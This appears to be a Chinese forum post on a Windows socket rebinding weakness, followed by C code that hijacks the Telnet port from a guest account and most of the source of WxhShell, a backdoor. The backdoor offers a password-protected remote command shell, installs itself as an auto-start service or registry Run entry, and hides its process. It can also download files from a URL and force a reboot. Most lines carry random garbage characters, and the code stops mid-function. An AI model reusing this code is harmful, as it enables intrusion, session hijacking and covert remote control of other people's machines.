在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D6&fDhO27 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
c$aTl9e H'68K8i0 saddr.sin_family = AF_INET;
MI o5Y`T lk8g2H
, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`M?C( n]I_LlbY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
weCRhA 8`E9a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Yjxa=CD OoOKr 这意味着什么?意味着可以进行如下的攻击:
A-gNfXP,D g0t$1cUR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Qo+_:N @=ABO"CQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%m[
:}, 5P_%Vp`B2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}Y\Ayl hl}@ha4' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
iyNyj44
H | ZBv;BW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F[/Bp>P7 =)5eui>{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
OD5c,IkWB a.)Gd]}g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t{?U NW 1GB$;0 W), #include
0]
e= #include
q:Gi
Qk- #include
)qs>Z?7 #include
'c[4-m3bg DWORD WINAPI ClientThread(LPVOID lpParam);
5sui*WH int main()
nW2fB8yq {
+
5 E6| WORD wVersionRequested;
ws9F~LmLbr DWORD ret;
*IWO ,! WSADATA wsaData;
hEAt4z0P BOOL val;
un|+YqLf SOCKADDR_IN saddr;
<;\T
e4g[ SOCKADDR_IN scaddr;
"o&_tB;O int err;
m=i 8o ` SOCKET s;
cl4`FU SOCKET sc;
?2hoY int caddsize;
[/uqH HANDLE mt;
I$sJ8\|gw' DWORD tid;
F
VW&&ft wVersionRequested = MAKEWORD( 2, 2 );
0-#SvTf>;: err = WSAStartup( wVersionRequested, &wsaData );
TS+itU62 if ( err != 0 ) {
xZAc~~9tD printf("error!WSAStartup failed!\n");
s,>_kxuX return -1;
8_0j^oh }
i)fAm$8#G saddr.sin_family = AF_INET;
5Z{i't0CQ hX4&B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vU&I,:72
H 2Jo'!|] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y6L_
_ RT saddr.sin_port = htons(23);
Zh. 5\&bm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)G6{JL-I {
M\zM-B printf("error!socket failed!\n");
u50 o1^<X return -1;
*( ~7H6 }
\{ val = TRUE;
O#}T.5t //SO_REUSEADDR选项就是可以实现端口重绑定的
}MBxfZ 4I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,Cx @]] {
BL1$~0 printf("error!setsockopt failed!\n");
JK:i- return -1;
<PL94 }
V+My]9ki //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
rvjPm5[t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^eke,,~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@q0\oG4L WVDkCo@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e]-bB#-A {
Z{"/Ae5] ret=GetLastError();
xu9K\/{7 printf("error!bind failed!\n");
ZN75ONL return -1;
k2{*WF }
_E0XUT!rA listen(s,2);
>t_5(K4 while(1)
;]AJ_h(<` {
$<R\|_6J caddsize = sizeof(scaddr);
:%ms6j/B&V //接受连接请求
l1*qDzb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I6?n> if(sc!=INVALID_SOCKET)
Tjba@^T {
i?"
~g!A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J`/ t;xk if(mt==NULL)
F)dJws7- {
Pi|WOE2 printf("Thread Creat Failed!\n");
n/$1&x1 break;
Ni]V)wGE; }
Y*0 AS|r! }
!,8jB( CloseHandle(mt);
z|,YO6(L }
1.p2{ closesocket(s);
La&?0P A WSACleanup();
epw*Px return 0;
-Zs.4@GH }
\@IEqm6 DWORD WINAPI ClientThread(LPVOID lpParam)
N.r8dC {
3$x[{\ {
SOCKET ss = (SOCKET)lpParam;
SM%N]/@U SOCKET sc;
37C'knW unsigned char buf[4096];
LIzdP,^pc SOCKADDR_IN saddr;
@~t^zI1 long num;
8:* DWORD val;
>uHU3<2& DWORD ret;
S#km`N` //如果是隐藏端口应用的话,可以在此处加一些判断
]Rah,4?9f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]B8`b saddr.sin_family = AF_INET;
er<yB#/;- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Y#aL]LxZE saddr.sin_port = htons(23);
SZVNu*G!H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mab921-n {
Y~ku?/"6T printf("error!socket failed!\n");
1Q[I $=-F return -1;
B49:
R> }
z;T_%?u val = 100;
9i9'Rd`g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dJvT2s.t[ {
dJYsn+ ret = GetLastError();
I8ZBs0sfF{ return -1;
6z-ZJ|? }
il8n
K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HL8onNq {
3C[#_&_l ret = GetLastError();
(!cG*FrN return -1;
IKaa=r~ }
\mK;BWg) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zx#HyO[a {
<'y}y}% printf("error!socket connect failed!\n");
V{A_\ closesocket(sc);
`kE ;V!n? closesocket(ss);
Z;v5L/; return -1;
HB|R1<t;HB }
#uRj9|E7 while(1)
T`ofj7$: {
\&!qw[;O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ey/{Z<D //如果是嗅探内容的话,可以再此处进行内容分析和记录
LyR bD$m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0|i3#G_~ num = recv(ss,buf,4096,0);
/Z~}dWI if(num>0)
?hC,49 send(sc,buf,num,0);
&':Ecmo~` else if(num==0)
\iP=V3 break;
]z77hcjB1 num = recv(sc,buf,4096,0);
{s7
3(B" if(num>0)
pie8 3Wy> send(ss,buf,num,0);
f(Su else if(num==0)
MlKSjKl" ! break;
m;4qs#qCg? }
969Y[XQ closesocket(ss);
f>CJ1;][{ closesocket(sc);
6 l,8ev return 0 ;
/:Q }
e,K.bgi 9$q35e '.B5CQ ==========================================================
'< .gKo I/B *iW^ 下边附上一个代码,,WXhSHELL
4{lrtNd~K <B&vfKO^h ==========================================================
goqm6L^Cu e"(SlR #include "stdafx.h"
X,A]<$ACu% H~NK:qRzK #include <stdio.h>
}' p"q) #include <string.h>
d-cW47 #include <windows.h>
@|PUet_pb #include <winsock2.h>
fW
w+'xF! #include <winsvc.h>
h!mx/Hx #include <urlmon.h>
yZV Y3<] e>2KW5. #pragma comment (lib, "Ws2_32.lib")
r_hs_n!6 #pragma comment (lib, "urlmon.lib")
ZOBcV,K 3y%,f|ju #define MAX_USER 100 // 最大客户端连接数
2,6~;R #define BUF_SOCK 200 // sock buffer
3}}8ukq #define KEY_BUFF 255 // 输入 buffer
8F
K%7\V d:Oo5t)MN #define REBOOT 0 // 重启
M?_7*o]! #define SHUTDOWN 1 // 关机
R>t?6HOcp ,m Nd# #define DEF_PORT 5000 // 监听端口
wEF"'T 0j :u.x #define REG_LEN 16 // 注册表键长度
VkkC;/BBW #define SVC_LEN 80 // NT服务名长度
W#@6e')d E?0Vo%Vh // 从dll定义API
2~l +2.. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
nR=!S5>S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0|DyYu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.L~
NX/V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rI OKCL? Iw4[D#o // wxhshell配置信息
}` YtXD-o struct WSCFG {
t2Px?S? int ws_port; // 监听端口
-(},%!-_ char ws_passstr[REG_LEN]; // 口令
y>X(GF^ int ws_autoins; // 安装标记, 1=yes 0=no
kX2Z@
w` char ws_regname[REG_LEN]; // 注册表键名
S.Q:O{] char ws_svcname[REG_LEN]; // 服务名
0a2#36;_IK char ws_svcdisp[SVC_LEN]; // 服务显示名
Qv<p$Up6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Q@!XVQx4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{9FL}Jrt int ws_downexe; // 下载执行标记, 1=yes 0=no
_^g4/G#13c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{PkR6.XhR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t`Rbn{ EbeSl+iMx_ };
h$#PboLd rd;E /:`5 // default Wxhshell configuration
8!b>[Nsc struct WSCFG wscfg={DEF_PORT,
P!SsMo6n "xuhuanlingzhe",
g~2=he\C 1,
Y4+]5;B8 "Wxhshell",
8>9MeDE "Wxhshell",
d)3jkHYEjj "WxhShell Service",
di(H-=9G62 "Wrsky Windows CmdShell Service",
bk1.H@8 "Please Input Your Password: ",
86e aX+F 1,
}lXor~_i "
http://www.wrsky.com/wxhshell.exe",
!*3]PZ25a( "Wxhshell.exe"
4:Oq(e_( };
oWx^_wQ-= P'o]#Az // 消息定义模块
(Y*9[hm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c_>AbF{ char *msg_ws_prompt="\n\r? for help\n\r#>";
A<^X P-Nrp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
IEd?-L char *msg_ws_ext="\n\rExit.";
|N}* char *msg_ws_end="\n\rQuit.";
\mTi@T!& char *msg_ws_boot="\n\rReboot...";
(w#)|9Cxm char *msg_ws_poff="\n\rShutdown...";
V(XZ7<& { char *msg_ws_down="\n\rSave to ";
&^w" z7z9lDS char *msg_ws_err="\n\rErr!";
;W|GUmADf char *msg_ws_ok="\n\rOK!";
7PuYrJ ]t~'wL#Z char ExeFile[MAX_PATH];
PJ=| g7I int nUser = 0;
bPif"dhHe HANDLE handles[MAX_USER];
+*Fe int OsIsNt;
I5Ty@J# ^QjkZ^<dD SERVICE_STATUS serviceStatus;
obN8+ j SERVICE_STATUS_HANDLE hServiceStatusHandle;
y>:U&P^ 7z$bCO L=S // 函数声明
[c -|`d^ int Install(void);
H}lz_#Z int Uninstall(void);
2.=G int DownloadFile(char *sURL, SOCKET wsh);
zk!7TUZ">w int Boot(int flag);
q!+:zZu void HideProc(void);
9~$E+m( int GetOsVer(void);
..k8HFz>" int Wxhshell(SOCKET wsl);
*_d N9 void TalkWithClient(void *cs);
=y(*?TZH int CmdShell(SOCKET sock);
*>`6{0,9 int StartFromService(void);
@h_ bXo int StartWxhshell(LPSTR lpCmdLine);
ir>S\VT4 oX*;iS X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sP}u zS VOID WINAPI NTServiceHandler( DWORD fdwControl );
+Wgfxk'{ ,t;US.s([. // 数据结构和表定义
@ULWVS#t2 SERVICE_TABLE_ENTRY DispatchTable[] =
*z#du*f[ {
|H]0pbC)w {wscfg.ws_svcname, NTServiceMain},
s&'FaqE {NULL, NULL}
Ryygq,>VD. };
+V9xKhR;x Ml;` *; // 自我安装
|:Maa6(W int Install(void)
]zCD1*) {
KF5r?|8M char svExeFile[MAX_PATH];
#D%6b HKEY key;
Vp0_R9oQ strcpy(svExeFile,ExeFile);
,Vo[mB }N ).$ // 如果是win9x系统,修改注册表设为自启动
?E(X>tH if(!OsIsNt) {
)''V}Zn.X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WRA L/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y"r728T`K RegCloseKey(key);
IbJl/N%o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S("dU`T? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'*&dP" RegCloseKey(key);
,nCvA%B! return 0;
}@ktAt }
vceD/ N8 }
[~RO9=;L }
lKQevoy' else {
(i1x< R".$x{{ // 如果是NT以上系统,安装为系统服务
wHQ$xO;vD' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{&^PDa|nD if (schSCManager!=0)
ZZHzC+O#^ {
A>e-eD xi SC_HANDLE schService = CreateService
osdoL (
}p)Hw2 schSCManager,
7:Rt) EE2 wscfg.ws_svcname,
6>;OVX wscfg.ws_svcdisp,
4[JF.O6} SERVICE_ALL_ACCESS,
)8eb(!}7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f-|zh#L SERVICE_AUTO_START,
GoAh{=s SERVICE_ERROR_NORMAL,
$pAVTz svExeFile,
~k?wnw NULL,
6&0G'PMf NULL,
TXXG0 G NULL,
Jc}6kFgO6 NULL,
aPK:k$. NULL
K|$c#X );
.taP2^2Z if (schService!=0)
C& XPn;f {
njZ vi}m~ CloseServiceHandle(schService);
Z!^>!'Z CloseServiceHandle(schSCManager);
z07&P;W!{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T0"nzukd strcat(svExeFile,wscfg.ws_svcname);
jF
j'6LT9/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mCk_c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Bos}
`S![ RegCloseKey(key);
JhwHsx/ return 0;
eyp_.1C~ }
5@
td0 }
:A!EjIL`# CloseServiceHandle(schSCManager);
QKx(S=4jQ }
|4P8N{ L>O }
*{j;LA.BR# 0zT-]0 return 1;
pc@mQI }
a9.255 , %8)I(" // 自我卸载
';8 ,RTe int Uninstall(void)
kONn7Itbu {
V9}\0joM HKEY key;
`Npo|.?= ]3, if(!OsIsNt) {
n3&h1- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@lWNSf RegDeleteValue(key,wscfg.ws_regname);
QRKP;aYt RegCloseKey(key);
"DGap*=J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,Nhv#U<$
RegDeleteValue(key,wscfg.ws_regname);
Mt`LOdiC_ RegCloseKey(key);
D]aQt%TL return 0;
^E\n^D-RV }
"(p /3qFY }
ohyq/u+y~A }
KU{zzn;g else {
J%xUO1 3fpaTue|x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wme#8/eUk if (schSCManager!=0)
O;V^Fk( {
X(Mpg[,N" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
')yYpWO if (schService!=0)
cC/32SmY4 {
60nP'xfR if(DeleteService(schService)!=0) {
$M0l
(htR CloseServiceHandle(schService);
x\~ <8o CloseServiceHandle(schSCManager);
>@cBDS<6R return 0;
d*04[5` }
"$J5cco CloseServiceHandle(schService);
\nWbGS( }
_[(EsIqc(F CloseServiceHandle(schSCManager);
i%<NKE;v7m }
WjR2:kT }
6LCR ;~
] E
$\nb]JQ return 1;
C@]D*k }
X)Tyxppf' jck(cc=R // 从指定url下载文件
FW;}S9u3 int DownloadFile(char *sURL, SOCKET wsh)
ik)u/r DW {
hWFOed4C HRESULT hr;
09P2<oFLn char seps[]= "/";
2_3os
P\Z char *token;
s?S e]?i char *file;
Ci4c8 char myURL[MAX_PATH];
eAI|zk6 char myFILE[MAX_PATH];
W)]&G}U< 3kUb cm strcpy(myURL,sURL);
tl* v(ZW token=strtok(myURL,seps);
W+=j@JY}q9 while(token!=NULL)
B:UPSX)A {
jr.{M file=token;
E>*Wu<< token=strtok(NULL,seps);
#?D[WTV }
Lk$Mfm5"M =N\$$3m?
GetCurrentDirectory(MAX_PATH,myFILE);
(6mw@gzr strcat(myFILE, "\\");
nm%qm strcat(myFILE, file);
Q"eqql<h# send(wsh,myFILE,strlen(myFILE),0);
lH/"47 send(wsh,"...",3,0);
dxZn| Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/u90)x if(hr==S_OK)
"5FP$oR return 0;
f>cUdEPBb else
O0BDUpH return 1;
:@E^oNKa0 N.]~%)K:{ }
+ `'wY? 9fTl6?x // 系统电源模块
&dj/Dq@ int Boot(int flag)
.`J*l=u$ {
+Lc+"0*gV* HANDLE hToken;
wouk~>Jft TOKEN_PRIVILEGES tkp;
GyxLzrp o.|36#Fa if(OsIsNt) {
^b$G.h{o!E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
32anmVnf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Yh"9,Z&wiR tkp.PrivilegeCount = 1;
Lr\(7r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xN>\t& c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vfhoN]v if(flag==REBOOT) {
-H[@]Q4w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r]QeP{ return 0;
G\k&sF }
yU7XX+cB7 else {
7oUo [ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l9+CJAmq return 0;
_Fv6S}~Q }
aWLA6A+C& }
J &=5h.G$ else {
g2LvojR if(flag==REBOOT) {
&pz`gna if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
I3x+pa^]2 return 0;
K~^o06 Y }
:(3'"^_NA else {
D0S^Msk9L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!&@t return 0;
OzRo }
ev/)#i#s{ }
wxvVtV{u>| TOSk+2P return 1;
hmb=_W }
*(i%\ 0CX9tr2J // win9x进程隐藏模块
9nlj{(
void HideProc(void)
PT&qys2k {
?=kH}'igq Dp} $q`F[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Dp^=% F{t if ( hKernel != NULL )
b1=! "Y@ {
!l.^]| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'?{L
gj^R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q_>=| b FreeLibrary(hKernel);
f|s,%AU"i }
R \y
qM;2 W7~OU(}[` return;
Nlc3S+$`z }
irB}h!@
^fS_h`B // 获取操作系统版本
= P$7
" int GetOsVer(void)
iZ ;562Mo {
LR"7e OSVERSIONINFO winfo;
/B{cL`< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
._'.F'd GetVersionEx(&winfo);
>DzW OB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2Aa return 1;
[>QzT"= else
-Zg@#H return 0;
OG7U+d6 }
SvQj'5~< "(\]-%:7 // 客户端句柄模块
Nlm3RxSn int Wxhshell(SOCKET wsl)
}~<9*M-P {
%IUTi6P
l SOCKET wsh;
8..g\ZT struct sockaddr_in client;
86Xf6Ea DWORD myID;
}\ya6Gi8 I[LHJ4 while(nUser<MAX_USER)
6:G::"ew {
!T]bz+ int nSize=sizeof(client);
pr1>:0dg wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)OQih+#?W if(wsh==INVALID_SOCKET) return 1;
{=y~O emS7q|^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
RUV: if(handles[nUser]==0)
\e?w8R.6w^ closesocket(wsh);
vH?3UW else
z'Fu} ho nUser++;
0VI[6t@ }
U {sT %G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{'f=*vMI )TkXdA?. return 0;
r@H7J 5<Y- }
.W0;Vhw" ?
y^t // 关闭 socket
(V8lmp-F void CloseIt(SOCKET wsh)
+H3;{ h9, {
xJE26i closesocket(wsh);
3Et t9fBd nUser--;
(d=knoo7A
ExitThread(0);
53?B.\ }
C;eM:v0A[ +{{'3=x9 // 客户端请求句柄
0BHSeO, void TalkWithClient(void *cs)
:*E#w"$,j {
.!h`(>+@ 1}I%yOi) SOCKET wsh=(SOCKET)cs;
7@9R^,M4: char pwd[SVC_LEN];
fGDjX!3-S char cmd[KEY_BUFF];
xw83dQ]}^ char chr[1];
X!/ int i,j;
#p|7\Y FTZaN1%` while (nUser < MAX_USER) {
`1U?^9Nf x[eho,6) if(wscfg.ws_passstr) {
^)[jBUT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<S` N9a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Bis'59?U_ //ZeroMemory(pwd,KEY_BUFF);
gye'_AR?k i=0;
SRpPLY{:F while(i<SVC_LEN) {
AU/L_hg M}b[;/~ // 设置超时
Cdbh7 fd_set FdRead;
'hH3d"a^= struct timeval TimeOut;
D= LLm$y
FD_ZERO(&FdRead);
v`KYhqTUl FD_SET(wsh,&FdRead);
'"<h;| TimeOut.tv_sec=8;
*^-~J/ TimeOut.tv_usec=0;
T@, tlIM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
BF(.^oh"n0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M?zwXmTVW0 ojQjx|Q} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)M(-EDL>Qk pwd
=chr[0]; r1QLSD]i6
if(chr[0]==0xd || chr[0]==0xa) { n{v[mqm^
pwd=0; f6-OR]R5
break; P% ZCACzV
} Iw-3Z'hOX
i++; 2YL)"
w
} :")iS?l
xxC2F:Q?U
// 如果是非法用户,关闭 socket Yr9!</;T
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #:n:3]t
} MehMhHY
^;]Q,*Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .gK>O2hI
iw==q:$
while(1) { 'qT[,iQ
AqHH^adzA:
ZeroMemory(cmd,KEY_BUFF); P7`sJ("#
[ym
ynr3M
// 自动支持客户端 telnet标准 Tf1G827
j=0; LmQS;/:
while(j<KEY_BUFF) { r#CQCq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CHPu$eu
cmd[j]=chr[0]; s;eOX\0
if(chr[0]==0xa || chr[0]==0xd) { [Q5>4WY
cmd[j]=0; orcPKCz|"
break; AvS<b3EoN
} !.nyIA(
j++; =5jng.
} mlmp'f
93aRWEu3
// 下载文件 i)pAFv<$,
if(strstr(cmd,"http://")) { ,J3s1 ]~^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !^:)zORYR
if(DownloadFile(cmd,wsh)) t kJw}W1@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !leLOi2T
else PfRe)JuB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mrgieb%
} 7;T6hKWV[
else { quPNwNy
k15B5
switch(cmd[0]) { /Dl{I7W
n\ yDMY
// 帮助 TzJp3
case '?': { CPto?=*A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?!4xtOA
break; y@ 'm D*z
} ph;ds+b
// 安装 mjwh40x.o
case 'i': { ~$O.KF:
if(Install())
hZ ve8J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4"D Lt"
else Gidh7x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y]5c!N %8
break; KG!W,tB
} iIe\m V
// 卸载 f""+jc1
case 'r': { tS2Orzc>,
if(Uninstall())
9z9EK'g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0KQDw
else
yv@td+-"D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U0PQ[Y#\
break; 8N8N)#A[
} a=m7pe^
// 显示 wxhshell 所在路径 _qZ?|;o^
case 'p': { ac-R q.GQY
char svExeFile[MAX_PATH]; %SHjJCS3
strcpy(svExeFile,"\n\r"); VOj{&O2c
strcat(svExeFile,ExeFile); ?G48GxJ
send(wsh,svExeFile,strlen(svExeFile),0); U',9t
break; Ax9a5;5WM
} 2Op\`Ht&
// 重启 .fQ/a`AsU
case 'b': { \sUk71L`j
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $<y10DfO
if(Boot(REBOOT)) $!(J4v=X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_^ ~5_0:
else { IwE{Zvr
closesocket(wsh); C1/<t)^
ExitThread(0); UJqDZIvC
} eX;Tufe*(Q
break; 9vAY|b^
} @dy<=bh~
// 关机 qMk"i@"
case 'd': { "I)*W8wTn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N^G:m~>
if(Boot(SHUTDOWN)) \Kx@?,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tP?pN]Q$,
else { 5eZ8$-&([
closesocket(wsh); Qj?qWVapA
ExitThread(0); Z/|oCwR
} C&&*6E5
break; ] Q 'Ed
} nK@RFU6
// 获取shell vS! TnmF
case 's': { i.|zKjF'
CmdShell(wsh); 4QK~qAi
closesocket(wsh); E@/yg(?d=
ExitThread(0); ( 1 L9K;
break; >O{U4_j@(
} _1s\ztDpw
// 退出 Px!M^
T!Pi
case 'x': { *u2pk>y)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,?OV39h
CloseIt(wsh); '|zkRdB*Lq
break; .pP{;:Avpn
} Mw0Kg9M
// 离开 {^r8uKo:~
case 'q': { :MOr?"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )FNvtLZ
closesocket(wsh); =F(fum;zH
WSACleanup(); rmX'Ym9#
exit(1); i2a""zac
break; ` ^rN"\
} e|`QW|9 .
} %gF; A*
} &rTOJ1)V}
2wHvHH!
// 提示信息 S,K'y?6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SR,id B&i
} 9t
3mU:
} C*;g!~{
{uurM`f}:
return; XZ@;Tyn0,
} [D]9M"L,vQ
MwoU>+XB
// shell模块句柄 uR|?5DK
int CmdShell(SOCKET sock) 9#:b+Amzz
{ 2"31k2H[
STARTUPINFO si; nUAoPE
ZeroMemory(&si,sizeof(si)); nqG9$!k^t
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SF$]{
X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x%acWeV5
PROCESS_INFORMATION ProcessInfo; J&64tQl*
char cmdline[]="cmd"; y*Egt `W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~!*xi
return 0; 6g/ <FM
} 9uV'#sR
(dOC ^i
// 自身启动模式 8PQn=k9
int StartFromService(void) @a AR99 M
{ fS08q9,S /
typedef struct vqq7IV)|
{ Cu5fp.OS7
DWORD ExitStatus; KO`ftz3 +
DWORD PebBaseAddress; $T\W'WR>
DWORD AffinityMask; Hzr<i4Y=w9
